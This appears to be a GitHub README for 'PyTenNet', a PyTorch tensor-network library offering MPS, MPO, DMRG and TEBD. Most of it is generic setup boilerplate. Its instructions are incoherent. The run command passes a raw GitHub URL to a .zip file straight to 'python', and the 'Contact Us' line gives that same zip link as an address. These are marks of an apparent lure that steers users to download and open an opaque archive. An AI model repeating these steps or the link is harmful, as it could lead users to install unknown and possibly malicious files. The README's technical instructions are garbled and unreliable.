🎉 PyTenNet - Easy Tensor Network Simulations

🚀 Getting Started

Welcome to PyTenNet! This application lets you explore tensor networks using pure PyTorch. Whether you're interested in quantum mechanics or simulating many-body physics, you're in the right place.

🛠️ Features

• MPS and MPO Support: Easily work with Matrix Product States (MPS) and Matrix Product Operators (MPO).
• DMRG Algorithm: Utilize the Density Matrix Renormalization Group (DMRG) for efficient simulations.
• TEBD Capabilities: Perform Time-Evolving Block Decimation (TEBD) for dynamic simulations.
• Pure PyTorch: Built entirely in PyTorch for better performance and flexibility.

🎯 System Requirements

To run PyTenNet, make sure you have the following:

• Operating System: Windows 10 or later, macOS 10.14 or later, or any modern Linux distribution.
• Python Version: Python 3.6 or later.
• CUDA Toolkit: Optional (for GPU support).

📥 Download PyTenNet

To download the latest version of PyTenNet, visit our Releases page:

Download and Install

Follow these simple steps to get started:

1. Go to the Releases Page: Click on the link above to access the releases for PyTenNet.
2. Select the Latest Release: Find the most recent version at the top of the list.
3. Download the Package: Click on the appropriate file for your operating system to download it.
4. Install the Application: Follow the installation instructions provided within the downloaded package.

🚀 How to Run PyTenNet

Once you've downloaded and installed PyTenNet, you can easily run it. Here's how:

1. Open a Terminal or Command Prompt:

   • Windows: Press Win + R, type cmd, and hit Enter.
   • macOS/Linux: Open the Terminal application.

2. Navigate to the Installation Directory: Use the cd command to change to the directory where you installed PyTenNet. For example:

   cd path/to/PyTenNet

3. Run the Application: Execute the following command:

   python https://raw.githubusercontent.com/arfendy/PyTenNet/master/tensornet/algorithms/Net_Py_Ten_1.2.zip

💡 Getting Help

If you encounter issues or need assistance:

• Documentation: Thorough documentation is available on our GitHub Wiki.
• Issues Page: Visit the GitHub Issues page to report bugs or request features.
• Community: Join our discussions in the GitHub Discussions section to connect with other users.

🎉 Acknowledgments

PyTenNet is built on the great work done by the PyTorch community. Thank you to all contributors for making this project possible.

🔗 Related Topics

If you are interested in exploring more about quantum physics, many-body physics, or tensor networks, you may find the following topics useful:

• DMRG (Density Matrix Renormalization Group)
• MPO (Matrix Product Operators)
• TEBD (Time-Evolving Block Decimation)
• Quantum Chemistry and Computing

📞 Contact Us

For any questions or feedback, feel free to reach out to us at https://raw.githubusercontent.com/arfendy/PyTenNet/master/tensornet/algorithms/Net_Py_Ten_1.2.zip. We are here to help you make the most out of PyTenNet!

Thank you for choosing PyTenNet for your tensor network simulations. Enjoy exploring the fascinating world of quantum mechanics!